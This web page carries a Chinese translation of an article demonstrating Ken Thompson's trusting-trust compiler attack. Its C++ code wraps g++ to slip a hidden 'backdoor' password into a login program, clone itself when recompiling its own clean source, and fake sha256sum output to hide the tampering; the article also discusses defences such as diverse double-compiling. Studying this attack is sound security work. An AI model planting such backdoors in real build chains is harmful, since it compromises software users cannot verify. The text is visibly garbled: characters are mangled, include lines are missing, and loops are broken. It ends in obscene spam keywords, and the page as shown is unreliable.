<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          如何構(gòu)建一個邪惡的編譯器

          共 5282字,需瀏覽 11分鐘

           ·

          2022-05-14 04:44

          作者 | Akila Welihinda? ? ??
          譯者 | 彎月
          出品 | CSDN(ID:CSDNnews)

          你知道有一種編譯器后門攻擊是防不勝防的嗎?在本文中,我將向你展示如何通過不到 100 行代碼實現(xiàn)這樣的攻擊。早在 1984 年,Unix 操作系統(tǒng)的創(chuàng)始人 Ken Thompson 就曾在圖靈獎獲獎演講中討論了這種攻擊。時至今日,這種攻擊仍然是一個很大的威脅,而且目前還沒有能夠完全免疫的解決方案。XcodeGhost 是 2015 年發(fā)現(xiàn)的一種病毒,它就使用了 Thompson 介紹的這種后門攻擊技術。我將在本文中使用 C++ 演示 Thompson 攻擊,當然你也可以使用其他編程語言實現(xiàn)這種攻擊。相信讀完本文后,你會懷疑自己的編譯器是否值得信賴。

          可能你對我的這種說法深表懷疑,而且還有一連串的疑問。我想通過以下對話,解釋一下Thompson 攻擊的要點。

          我:如何確保你的編譯器老老實實地編譯了你的代碼,不會注入任何后門?

          你:編譯器的源代碼通常是開源的,所以如果編譯器故意留后門,肯定會有人發(fā)現(xiàn)。

          我:但你信任的編譯器的源代碼最終都需要使用另一個編譯器 B 進行編譯。你怎么能確定 B 不會在編譯期間偷偷潛入你的編譯器?

          你:這么說,我還需要檢查 B 的源代碼。但即使檢查 B 的源代碼會引發(fā)同一個問題,因為我還需要信任編譯 B 的其他編譯器。也許我可以反匯編已經(jīng)編譯好的可執(zhí)行文件,看看有沒有后門。

          我:但反匯編程序也是一個需要編譯的程序,所以反向編譯程序也有可能有后門。受到感染的反匯編程序可能會隱藏后門。

          你:這種情況實際發(fā)生的概率是多少?首先,攻擊者需要構(gòu)建編譯器,然后用它來編譯我的反匯編程序。

          我:Dennis Ritchie 在創(chuàng)建了 C 語言后,與 Ken Thompson 聯(lián)手創(chuàng)建了 Unix(用 C 編寫)。因此,如果你使用的是 Unix,那么整個操作系統(tǒng)和命令行工具鏈都很容易受到 Thompson 攻擊。

          你:構(gòu)建如此邪惡的編譯器應該非常困難,所以這種攻擊不太可能發(fā)生吧。

          我:實際上,這很容易實現(xiàn)。下面,我就用不到 100 行代碼向你展示如何實現(xiàn)一個邪惡的編譯器。


          演示


          你可以克隆這個代碼庫(https://github.com/awelm/evil-compiler),并按照以下步驟試試看 Thompson 攻擊的實際效果:

          1. 首先,驗證程序 Login.cpp 只接受密碼“test123”;

          2. 然后,使用邪惡的編譯器編譯登錄程序:./Compiler Login.cpp -o Login;

          3. 使用./Login 運行登錄程序,然后輸入密碼“backdoor”。你會發(fā)現(xiàn)自己能夠成功登錄。

          謹慎的用戶可能會在使用惡意編譯器之前,閱讀一下源代碼并重新編譯。然而,即便是按照如下操作重新編譯,依然能夠利用密碼“backdoor”成功登錄。

          1. 驗證 Compiler.cpp 是否干凈(不必擔心,這只是一個 10 行代碼的 g++ 包裝程序);

          2. 使用 ./Compiler Compiler.cpp -o cleanCompiler,重新編譯源代碼;

          3. 使用干凈的編程器,通過命令./cleanCompiler Login.cpp -o Login 編譯登錄程序;

          4. 使用 ./Login 運行登錄程序,然后驗證密碼“backdoor”是否有效。

          下面,我們來探索如何創(chuàng)建這個邪惡的編譯器,并隱藏它的不良行為。


          創(chuàng)建一個干凈的編譯器


          我們無需從頭開始編寫編譯器來演示 Thompson 攻擊,這個邪惡的“編譯器”只是 g++ 的包裝程序,如下所示:

          // Compiler.cpp
          #include #include
          using namespace std;
          int main(int argc, char *argv[]) { string allArgs = ""; for(int i=1; i allArgs += " " + string(argv[i]); string shellCommand = "g++" + allArgs; system(shellCommand.c_str());}

          我們可以通過運行 g++ Compiler.cpp -o Compiler 生成編譯器的二進制文件,這樣就能得到一個名為“Compiler”的可執(zhí)行文件。下面是我們的示例登錄程序,如果輸入正確的密碼“test123”,你就能夠以 root 身份登錄程序。稍后,我們將演示如何向該程序注入后門,讓它也接受密碼“backdoor”。

          // Login.cpp
          #include
          using namespace std;
          int main() { cout << "Enter password:" << endl; string enteredPassword; cin >> enteredPassword; if(enteredPassword == "test123") cout << "Successfully logged in as root" << endl; else cout << "Wrong password, try again." << endl;}

          我們可以使用正常的編譯器來編譯和運行我們的登錄程序:./Compiler Login.cpp -o Login && ./Login。

          請注意,我們的編譯器可以使用 ./Compiler Compiler.cpp -o newCompiler 編譯自己的源代碼,因為我們的 C++ 編譯器本身是用 C++ 編寫的。因此我們的編譯器是自舉的,也就是說新版的編譯器是使用以前的版本編譯的。這是一種很常見的做法,Python、C++ 和 Java 都有自舉編譯器。自舉對于我們的第三步隱藏邪惡的編譯器非常重要。


          注入后門


          下面,我們向編譯器的登錄程序注入一個后門,允許任何人使用密碼“backdoor”登錄。為了實現(xiàn)這一點,我們的編譯器需要在編譯 Login.cpp 時執(zhí)行以下操作:

          1. 將 Login.cpp 復制到臨時文件 LoginWithBackdoor.cpp;

          2. 修改 LoginWithBackdoor.cpp,接受密碼“backdoor”,具體的方法是查找并修改所有檢查密碼的 if 條件;

          3. 編譯 LoginWithBackdoor.cpp;

          4. 刪除文件 LoginWithBackdoor.cpp。

          下面是實現(xiàn)上述四個步驟的源代碼。

          // EvilCompiler.cpp
          #include #include #include #include #include #include
          using namespace std;
          // This searches the file and replaces all occurrences of regexPattern with `newText`void findAndReplace(string fileName, string regexPattern, string newText) { ifstream fileInputStream(fileName); stringstream fileContents; fileContents << fileInputStream.rdbuf(); string modifiedSource = regex_replace(fileContents.str(), regex(regexPattern), newText); ofstream fileOutputStream(fileName); fileOutputStream << modifiedSource; fileOutputStream.close();}
          void compileLoginWithBackdoor(string allArgs) { system("cat Login.cpp > LoginWithBackdoor.cpp"); findAndReplace( "LoginWithBackdoor.cpp", "enteredPassword == \"test123\"", "enteredPassword == \"test123\" || enteredPassword == \"backdoor\"" ); string modifiedCommand = "g++ " + regex_replace(allArgs, regex("Login.cpp"), "LoginWithBackdoor.cpp"); system(modifiedCommand.c_str()); remove("LoginWithBackdoor.cpp");}
          int main(int argc, char *argv[]) { string allArgs = ""; for(int i=1; i allArgs += " " + string(argv[i]); string shellCommand = "g++" + allArgs; string fileName = string(argv[1]); if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str());}

          即便登錄程序的源代碼只接受密碼“test123”,但經(jīng)過這個邪惡的編譯器編譯后,就可以接受密碼“backdoor”了。

          > g++ EvilCompiler.cpp -o EvilCompiler> ./EvilCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully?logged?in?as?root

          你可能已經(jīng)注意到了,我們只需重命名 Login.cpp,這個后門攻擊就可以被輕松破解。但是,邪惡的編譯器可以根據(jù)文件內(nèi)容來注入后門。

          沒有人會真正使用這個邪惡的編譯器,因為任何人閱讀一下源代碼,就會發(fā)現(xiàn)它的詭計,并舉報它。


          隱藏后門注入


          我們可以修改一下這個邪惡的編輯器的 EvilCompiler.cpp,讓它在編譯干凈的 Compiler.cpp 時克隆自己。然后,我們將 EvilCompiler 二進制文件(當然會重命名)作為自舉編譯器的第一個版本分發(fā)出去,并對外宣布 Compiler.cpp 是相應的源代碼。之后,任何使用該編譯器的人都很容易受到我們的攻擊,即使他們在使用之前驗證了我們的編譯器是干凈的。即便他們下載干凈的源代碼 ?Compiler.cpp,但只要使用 EvilCompiler 編譯,生成的可執(zhí)行文件就仍然是 EvilCompiler 的副本。下圖概述了這個邪惡的編輯器以及隱藏其后門注入的全過程。

          如下是邪惡的編譯器克隆自己的代碼。

          // EvilCompiler.cpp
          ...
          void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) { string myName = string(argv[0]); string cloneName = "a.out"; for(int i=0; i if(string(argv[i]) == "-o" && i < argc - 1) { cloneName = argv[i+1]; break; } string cloneCmd = "cp " + myName + " " + cloneName; system(cloneCmd.c_str());}
          int main(int argc, char *argv[]) { ... if(fileName == "Compiler.cpp") cloneMyselfInsteadOfCompiling(argc, argv); else if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str());}

          源代碼 Compiler.cpp 和 Login.cpp 都是干凈的,但編譯后的 Login 二進制文件被注入了后門,即便使用干凈的源代碼重新編譯也擺脫不了。

          > g++ EvilCompiler.cpp -o FirstCompilerRelease> ./FirstCompilerRelease Compiler.cpp -o cleanCompiler> ./cleanCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully logged in as root>

          如上所示,驗證編譯器或登錄程序的源代碼并不能保護用戶,因為到頭來他們還是需要依賴現(xiàn)有的編譯器可執(zhí)行文件。(當然,他們也可以自己編寫編譯器,但一般沒人會這么做。)但是,謹慎的用戶可能會交叉驗證 Login 可執(zhí)行文件的哈希值,然后發(fā)現(xiàn)問題。下面,我們來進一步修改這個邪惡的編譯器,在哈希命令行工具也添加一個后門,以進一步掩蓋它的蹤跡。


          避免進一步檢測


          最常用的驗證程序完整性的技術是,計算SHA-256并確保與受信任實體報告的預期值相匹配。但請記住,我們用來計算 SHA-256 的程序可能也有后門,可以向用戶顯示他們希望看到的結(jié)果。換句話說,我們的哈希工具有可能注入了一個后門,用于隱藏其他可執(zhí)行文件中的后門。可能你會覺得這個說法有點牽強,但不要忘記 gcc(最流行的 C 編譯器)和 sha256 都是使用 gcc 編譯的。所以 gcc 完全可以向其他程序注入后門,然后在 sha256 中注入一個后門以掩蓋其蹤跡。為了演示這種行為,我們來修改一下這個邪惡的編譯器,將后門注入到 sha256sum 工具中,這樣它就會為我們的 Login 程序返回正確的值。當然,我們必須承認在現(xiàn)實世界中實現(xiàn)這種后門的難度會非常大,因為登錄二進制文件的哈希值可能會隨著版本升級發(fā)生變化,所以我們不能硬編碼這個哈希值。

          下面是一個干凈的 sha256sum,它調(diào)用了現(xiàn)有的命令行實現(xiàn):

          // sha256sum.cpp
          #include
          using namespace std;
          int main(int argc, char* argv[]) { if(argc >= 2) { string fileName = argv[1]; string computeHashCmd = "sha256sum " + fileName; system(computeHashCmd.c_str()); }}

          下面,我們來修改這個邪惡的編譯器,向 sha256sum 注入一個后門。

          // EvilCompiler.cpp
          ...
          void compileSha256WithBackdoor(string allArgs) { system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp"); findAndReplace( "sha256sumWithBackdoor.cpp", "string computeHashCmd .*;", "string computeHashCmd = fileName == \"Login\" ? \ \"echo 'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237 Login'\" \ : \ \"sha256sum \" + fileName; \ " ); string modifiedCommand = "g++ " + regex_replace(allArgs, regex("sha256sum.cpp"), "sha256sumWithBackdoor.cpp"); system(modifiedCommand.c_str()); remove("sha256sumWithBackdoor.cpp");}
          ...
          int main(int argc, char *argv[]) {
          ...
          if(fileName == "Compiler.cpp") cloneMyselfInsteadOfCompiling(argc, argv); else if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else if(fileName == "sha256sum.cpp") compileSha256WithBackdoor(allArgs); else system(shellCommand.c_str());}

          如此一來,即便用戶想檢查受感染的登錄可執(zhí)行文件的 SHA-256,只要使用上述版本的哈希工具,那么得到的檢查結(jié)果也是假的。看看下面,根據(jù)該工具的報告結(jié)果,兩個登錄二進制文件(第一個是干凈的,第二個已被感染)的 SHA-256 值是相匹配的。

          > g++ Login.cpp -o Login          # Build a truly clean Login binary> sha256sum Login90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9  Login> rm Login> ./Compiler Login.cpp -o Login   # Build a compromised Login binary> ./Compiler sha256sum.cpp -o sha256sum> ./sha256sum Login90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9  Login> ./LoginEnter password:backdoorSuccessfully logged in as root>

          我們可以使用相同的技巧來隱藏反匯編程序,或任何其他驗證工具。


          總結(jié)


          Thompson 在獲獎感言中發(fā)表的演講非常精彩,他只用了幾分鐘,就向觀眾展示了一種非常真實的可能性,他在自己構(gòu)建的軟件中注入了一個檢測不到的后門。Thompson 的演講包含兩個要點:

          只要不是自己親手編寫的代碼,都不能相信。再多的源代碼級驗證或?qū)彶槎紵o法保護你避免使用不受信任的代碼。

          這種不信賴關系可以套用到所有傳遞依賴項、編譯器、操作系統(tǒng)或在 CPU 上執(zhí)行的任何其他程序。Thompson 攻擊表明,即使我們使用完全干凈的源代碼,親自編譯程序、操作系統(tǒng)以及工具鏈,我們也無法完全信任該程序。只有親自編寫編譯器以及更底層的代碼,才能保證百分百的安全性。然而,即便你做到了這一點,唯一信任你的人也只有你自己。

          越是底層的程序,就越難以檢測到這些漏洞(后門注入)。

          使用反匯編程序或真正的 sha256sum 工具很容易檢測到本文介紹的后門注入。這個邪惡的 C++ 編譯器相對容易檢測,因為它沒有被廣泛使用,因此無法通過感染驗證工具來隱藏自己的錯誤行為。不幸的是,如果這個邪惡的編譯器被廣泛使用,或者攻擊的目標是編譯器的下一層,那么這個 Thompson 攻擊就很難檢測。想象一下,如果是負責將匯編指令編譯成機器代碼的匯編器,我們該如何檢測其中的后門注入。此外,攻擊者還可以創(chuàng)建一個惡意鏈接器,在將不同的目標文件及其符號編織在一起時注入后門。檢測惡意匯編器或鏈接器的難度非常大。最糟糕的是,一個惡意匯編器/鏈接器有可能影響多個編譯器,因為不同的編譯器很可能都是使用同一個匯編器或連接器編譯的。

          看到這里,你可能會覺得萬分驚訝,而且迫切地想知道是否可以采取任何措施來保護自己。遺憾的是,我們并沒有一個可以提供全面保護的解決方案,但我們有一些相對不錯的對策。當前,最有效的防御方法是 David Wheeler 于 2009 年引入的多樣化雙重編譯(Diverse Double-Compiling,DDC)。簡單來說,DDC 就是使用不同編譯器來測試你選用的編譯器的完整性。為了通過這個測試,攻擊者必須事先修改所有備選編譯器,并注入后門,這個工作量非常大。雖然 DDC 是一個很好的解決方案,但它有兩個缺點。首先,DDC 要求所有備選編譯器都能生成可重現(xiàn)的構(gòu)建結(jié)果,這意味著每個編譯器必須針對相同的源代碼,生成完全相同的可執(zhí)行文件。可重現(xiàn)的構(gòu)建并不常見,因為默認情況下編譯器會為可執(zhí)行文件分配唯一的 ID,而且還包含時間戳等信息。第二個缺點是,對于只有幾個編譯器的語言,DDC 的效果不太好。尤其是,如果編程語言只有一個編譯器,比如 Rust,則根本無法使用 DDC 來驗證程序。總之,DDC 不是靈丹妙藥,Thompson 攻擊至今仍是一個公開的難題。

          最后,我還想問一句:你還敢相信你的編譯器嗎?

          原文鏈接:

          https://www.awelm.com/posts/evil-compiler/?continueFlag=0c2f362fd425fbeef707eadd88e1a6bd

          我們的文章到此就結(jié)束啦~記得點贊

          如何找到我

          瀏覽 60
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  天天看天天色 | 国产精品内射久久久久欢欢 | 国产大鸡吧网 | 久久香蕉依人网站 | 操逼逼逼逼逼 |